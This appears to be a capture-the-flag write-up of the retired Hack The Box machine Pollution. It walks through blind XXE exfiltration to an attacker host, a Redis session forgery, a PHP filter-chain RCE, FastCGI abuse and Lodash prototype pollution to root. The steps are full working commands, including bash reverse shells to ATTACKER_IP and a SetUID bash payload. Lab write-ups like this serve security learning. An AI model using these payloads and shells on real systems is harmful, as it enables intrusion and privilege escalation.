root@kali:~$ cat hackthebox/machines/pollution.md

Hack The Box — Pollution

Blind XXE exposes Apache and Redis secrets, enabling a PHP session bypass and filter-chain RCE; FastCGI and Node prototype pollution lead to root.

Pollution machine artwork showing smoking chimneys inside a red circular border
Platform
Hack The Box
Type
machine
Difficulty
Hard
Operating system
Linux
Solved
15 Nov 2026
Published
15 November 2026

This write-up documents an authorized Hack The Box lab. Hack The Box lists Pollution as a retired machine. Flag values, live session IDs, API tokens and personal VPN details are omitted. Replace the instance-specific placeholders with values from your own lab.

Executive summary

Pollution starts with a website and a Redis service that requires authentication. A MyBB forum attachment contains a Burp history export with the token needed to promote a newly registered website account to admin. The admin API parses attacker-controlled XML, allowing blind XXE and out-of-band file exfiltration. Apache configuration reveals the developers virtual host and its Basic Auth file; PHP source reveals a Redis-backed session and an unsafe include. After changing our own session in Redis, a generated PHP filter chain turns that include into code execution as www-data. A locally reachable PHP-FPM pool runs as victor, and a FastCGI request to that pool gives a user shell. Finally, a root-owned Node.js API merges untrusted JSON into an object immediately before calling child_process.exec. Prototype pollution changes its shell option and yields root-level command execution.

Target information

Item Value
Machine Pollution
Platform Hack The Box
Difficulty Hard
Operating system Linux
Publication status Retired
Main hosts collect.htb, forum.collect.htb, developers.collect.htb

Use the IP assigned to your own HTB instance and the VPN address of your attack VM. The addresses change between sessions.

export TARGET_IP='<HTB_MACHINE_IP>'
export ATTACKER_IP='<YOUR_TUN0_IP>'
echo "$TARGET_IP collect.htb forum.collect.htb developers.collect.htb" |
  sudo tee -a /etc/hosts

Enumeration

A full TCP scan found SSH, HTTP and Redis:

nmap "$TARGET_IP" -T4 -sC -sV -p-
Port Observed service Lead
22/tcp OpenSSH 8.4p1 Debian Useful once a user credential or key is obtained.
80/tcp Apache 2.4.54 Main application and virtual hosts.
6379/tcp Redis Requires a password; later stores PHP sessions.

The main site identifies collect.htb. Virtual-host enumeration finds forum.collect.htb and developers.collect.htb:

ffuf -u "http://$TARGET_IP/" -H 'Host: FUZZ.collect.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -mc all -ac

The developers host asks for HTTP Basic authentication. Redis initially answers NOAUTH Authentication required. The forum is the next useful lead.

Recover the website role token from the forum

Register and log in to forum.collect.htb. Open the thread “I had problems with the Pollution API” and access its proxy_history.txt attachment. The browser may display the XML instead of downloading it; save the page as proxy_history.xml.

The file is a Burp history export. Its request elements are Base64 encoded. Decode the entry whose URL contains /set/role/admin:

python3 - <<'PY'
import base64
import xml.etree.ElementTree as ET

root = ET.parse('proxy_history.xml').getroot()
for item in root.findall('item'):
    if '/set/role/admin' in (item.findtext('url') or ''):
        raw = item.findtext('request') or ''
        print(base64.b64decode(raw).decode(errors='replace'))
PY

The decoded POST includes a token form field. Keep its value in a shell variable without placing the token in the write-up:

ROLE_TOKEN='<TOKEN_FROM_BURP_EXPORT>'

Register and log in separately on http://collect.htb/. Use that site’s authenticated PHPSESSID cookie, not the forum cookie or a cookie generated by an unauthenticated login page:

MAIN_SID='<YOUR_LOGGED_IN_COLLECT_PHPSESSID>'
curl -i -b "PHPSESSID=$MAIN_SID" \
  -d "token=$ROLE_TOKEN" \
  http://collect.htb/set/role/admin

A successful response redirects to /admin. A redirect to /home means the role was not granted; verify that the cookie belongs to a logged-in collect.htb account. The admin page contains an API management form.

Initial access: blind XXE to source disclosure

Submitting the admin form sends a POST to /api with an XML document in the manage_api form field. The application expands external entities but does not return file contents directly. We can have it fetch a DTD from our Kali VM and make a second HTTP request whose query contains a Base64-encoded file.

Begin with a short file to prove the chain. Create xxe.dtd in a Kali working directory:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER_IP:8000/?%file;'>">
%eval;
%exfil;

Replace ATTACKER_IP with your VPN address and serve the file:

sed -i "s/ATTACKER_IP/$ATTACKER_IP/" xxe.dtd
python3 -m http.server 8000

Keep the server running. In a second Kali terminal, create the XML request:

cat > xxe.xml <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % ext SYSTEM "http://$ATTACKER_IP:8000/xxe.dtd"> %ext;]>
<root><method>POST</method><uri>/auth/register</uri><user><username>lab-user</username><password>lab-password</password></user></root>
EOF

curl -s -b "PHPSESSID=$MAIN_SID" \
  --data-urlencode "manage_api=$(cat xxe.xml)" \
  http://collect.htb/api

The local HTTP server should log GET /xxe.dtd followed by GET /?. Decode the query string after the question mark:

printf '%s' '<BASE64_FROM_SERVER_LOG>' | base64 -d

For /etc/hostname, the result is pollution. The API response may contain a JSON parsing error from a downstream Node service; the second GET in the Kali server log is the evidence that the file was exfiltrated. If only the DTD request appears, verify that the DTD is served with HTTP 200 and that the requested file path is correct. Long files may exceed the HTTP URL length limit, so small configuration files are better initial targets.

Read Apache configuration before choosing paths

Change only the DTD’s resource path and repeat the same POST:

sed -i 's#/etc/hostname#/etc/apache2/sites-enabled/developers.collect.htb.conf#' xxe.dtd

The decoded configuration in this instance gave the decisive paths:

ServerName developers.collect.htb
DocumentRoot /var/www/developers
AuthUserFile /var/www/developers/.htpasswd

Use the paths returned by your instance. A path containing /var/www/developers/public/ did not work here because this instance’s document root is /var/www/developers.

Read the Basic Auth file:

sed -i 's#/etc/apache2/sites-enabled/developers.collect.htb.conf#/var/www/developers/.htpasswd#' xxe.dtd
# Repeat the curl POST to /api and Base64-decode the new query.

It contains an Apache $apr1$ hash for developers_group. Save the recovered line and crack it with Hashcat mode 1600:

printf '%s\n' 'developers_group:<RECOVERED_APR1_HASH>' > developers.hash
hashcat -m 1600 --username developers.hash /usr/share/wordlists/rockyou.txt
hashcat -m 1600 --username developers.hash --show

Save the cracked lab password as BASIC_PASS. It opens the HTTP Basic Auth gate on developers.collect.htb, where a second application login still appears.

BASIC_PASS='<PASSWORD_FROM_HASHCAT>'

Read PHP source and bypass the Redis-backed session

Use XXE again to read /var/www/developers/index.php and /var/www/developers/bootstrap.php. For each file, update resource in the DTD, send the /api POST and decode the HTTP server log’s query string:

sed -i 's#/var/www/developers/.htpasswd#/var/www/developers/index.php#' xxe.dtd
# Send the same POST to /api and decode the new query.
sed -i 's#/var/www/developers/index.php#/var/www/developers/bootstrap.php#' xxe.dtd
# Send the POST once more and decode the result.

The source establishes two facts:

if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}
include($_GET['page'] . ".php");

bootstrap.php configures Redis as the PHP session handler and contains the Redis password in session.save_path. Save the recovered password locally as REDIS_PASS.

Create your own session on the developers host with Basic Auth:

curl -s -u "developers_group:$BASIC_PASS" \
  -c dev.cookies http://developers.collect.htb/login.php >/dev/null

DEV_SID=$(awk '$6=="PHPSESSID" {print $7}' dev.cookies)
test -n "$DEV_SID" && echo 'Developer session created'

Redis is reachable on port 6379. Write PHP’s serialized boolean true into only your own session key:

REDIS_PASS='<PASSWORD_FROM_BOOTSTRAP_PHP>'
redis-cli -h collect.htb -a "$REDIS_PASS" \
  SET "PHPREDIS_SESSION:$DEV_SID" 'auth|b:1;'

curl -i -u "developers_group:$BASIC_PASS" -b dev.cookies \
  'http://developers.collect.htb/?page=home'

The response now contains the developers dashboard rather than a redirect to /login.php. If the session expires, create a new cookie and repeat the Redis update.

Turn the file include into code execution

The page parameter is included after appending .php. The Synacktiv PHP filter chain generator builds a stream that evaluates chosen PHP code without uploading a PHP file. Generate a small command handler:

git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
CHAIN=$(python3 php_filter_chain_generator.py \
  --chain '<?php system($_GET["cmd"]); ?>' | tail -n 1)

curl -sG -u "developers_group:$BASIC_PASS" -b ../dev.cookies \
  --data-urlencode "page=$CHAIN" \
  --data-urlencode 'cmd=id' \
  http://developers.collect.htb/ | grep -a -o 'uid=[^<]*' | head -n 1

The response shows uid=33(www-data). Use grep -a because the filter-chain response can contain non-printable bytes.

Start a listener on Kali, then invoke a Bash reverse shell through the same cmd parameter:

nc -lvnp 4444

Return to the original Kali terminal, where CHAIN and ATTACKER_IP are still set, and send the request:

curl -sG -u "developers_group:$BASIC_PASS" -b ../dev.cookies \
  --data-urlencode "page=$CHAIN" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" \
  http://developers.collect.htb/ >/dev/null

The listener receives a shell as www-data. The sending curl may remain open while that shell is active.

Privilege escalation: www-data to victor

Local enumeration shows a separate PHP-FPM pool running as victor and listening only on 127.0.0.1:9000:

ps auxww | grep '[p]hp-fpm'
grep -A 8 '^\[victor\]' /etc/php/8.1/fpm/pool.d/www.conf
command -v cgi-fcgi

Although port 9000 is not externally reachable, www-data can talk to it from the machine. FastCGI accepts per-request PHP settings. Set auto_prepend_file to a data:// stream containing Base64-encoded PHP, and point SCRIPT_FILENAME at an existing script in the developers document root.

From the www-data shell, create a reusable command runner:

cat > /dev/shm/fpm.sh <<'EOF'
#!/bin/bash
CMD_B64=$(printf '%s' "$1" | base64 -w0)
PAYLOAD="<?php system(base64_decode('$CMD_B64')); ?>"
B64=$(printf '%s' "$PAYLOAD" | base64 -w0)

env -i \
  PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
  SCRIPT_FILENAME=/var/www/developers/index.php \
  SCRIPT_NAME=/var/www/developers/index.php \
  REQUEST_METHOD=POST \
  cgi-fcgi -bind -connect 127.0.0.1:9000
EOF

bash /dev/shm/fpm.sh id

The response prints uid=1002(victor), proving that the PHP payload ran in the victor pool. Open a second listener on Kali and request a new reverse shell:

nc -lvnp 5555
bash /dev/shm/fpm.sh \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1'"

Replace ATTACKER_IP in the final command with your VPN address. In the new shell, id should show victor. The user proof is at /home/victor/user.txt; submit it to HTB without copying its value into published notes.

Privilege escalation: victor to root

The victor home directory contains a readable copy of pollution_api. Its application listens on localhost port 3000, while the active Node.js process runs as root:

cd /home/victor
ps auxww | grep '[n]ode'
curl -s http://127.0.0.1:3000/
sed -n '1,120p' pollution_api/controllers/Messages_send.js

The admin message route is the vulnerable sink. It starts with a plain object, merges attacker-controlled JSON into it, then calls exec:

const message = {
  user_sent: token.user,
  title: "Message for admins",
};
_.merge(message, req.body);
exec('/home/victor/pollution_api/log.sh log_message');

The API requires an admin JWT, and its middleware also checks that the token’s role matches the database. Register a new API user through /auth/register, update that user’s role in the lab database, then log in again to obtain a fresh admin token. Inspect the local database connection settings and set DB_USER and DB_PASS to the values found on your instance:

grep -R -n --exclude-dir=node_modules -E 'Sequelize|password|username' \
  /home/victor/pollution_api/models /var/www/collect/config.php 2>/dev/null | head -n 30
API_USER='your-unique-api-user'
API_PASS=$(openssl rand -hex 12)
DB_USER='<USER_FROM_LOCAL_DATABASE_CONFIG>'
DB_PASS='<PASSWORD_FROM_LOCAL_DATABASE_CONFIG>'

curl -s -H 'Content-Type: application/json' \
  -d "{\"username\":\"$API_USER\",\"password\":\"$API_PASS\"}" \
  http://127.0.0.1:3000/auth/register

mysql -u "$DB_USER" -p"$DB_PASS" pollution_api \
  -e "UPDATE users SET role='admin' WHERE username='$API_USER'; SELECT username,role FROM users WHERE username='$API_USER';"

TOKEN=$(curl -s -H 'Content-Type: application/json' \
  -d "{\"username\":\"$API_USER\",\"password\":\"$API_PASS\"}" \
  http://127.0.0.1:3000/auth/login |
  sed -n 's/.*"x-access-token":"\([^"]*\)".*/\1/p')
test -n "$TOKEN" && echo 'Admin API token obtained'

A login before the database role update creates a token with role user; it will not authorize the admin route. The token above is intentionally kept in a shell variable and omitted from the article.

Prepare an executable local script. The Node process will select it through a polluted shell property, then the script copies Bash with a root-owned SetUID bit:

cat > /tmp/pollution-shell <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod 755 /tmp/pollution-shell

Send a JSON body with text (required by the route) and a proto object. The vulnerable Lodash merge writes shell to the common object prototype. The following exec call then consults that inherited option:

curl -s http://127.0.0.1:3000/admin/messages/send \
  -H 'Content-Type: application/json' \
  -H "x-access-token: $TOKEN" \
  -d '{"text":"lab-check","__proto__":{"shell":"/tmp/pollution-shell"}}'

ls -l /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'

A successful ls shows a root-owned binary with an s in the owner’s execute position. Bash’s -p preserves the effective root UID. Submit the root proof to HTB; do not publish its value. If the short shell gadget does not create the binary on a different Node version, examine the exact child_process implementation and use the documented shell/argv0/NODE_OPTIONS gadget for that runtime.

What did not work

  • Reading /var/www/developers/public/.htpasswd returned only a DTD request and no exfiltration request. The retrieved Apache configuration established that this instance uses /var/www/developers/.htpasswd. The configuration, not another write-up’s path, is the reliable source.
  • A successful HTTP response from /api did not prove file disclosure. The decisive evidence was the second GET request to the Kali HTTP server.
  • The first developers login page was not bypassed by the main site’s credentials. The developers site uses a separate Redis-backed PHPSESSID.

Attack path

  1. Enumerate HTTP virtual hosts and the Redis service.
  2. Register on the forum; decode a Burp attachment to recover the website admin-role token.
  3. Promote a logged-in collect.htb account and reach the XML management API.
  4. Use blind XXE to read Apache configuration, Basic Auth data and PHP source.
  5. Set auth|b:1; in your own Redis-backed developers session.
  6. Use the PHP include with a generated filter chain to run commands as www-data.
  7. Send a crafted FastCGI request to the localhost PHP-FPM pool to become victor.
  8. Register an API user, grant it the lab admin role and exploit Lodash prototype pollution in the root-owned Node service.

Lessons learned

  • Confirm target file locations from the running configuration. Similar deployments can have different document roots.
  • Blind XXE needs an observable out-of-band callback; an application status code alone is insufficient.
  • A network-reachable Redis session store can turn source disclosure into authentication bypass.
  • A localhost-only service is still a privilege boundary when lower-privileged local users can reach it.
  • Deep-merging untrusted JSON and then calling a child process in the same request creates a short path from prototype pollution to code execution.

References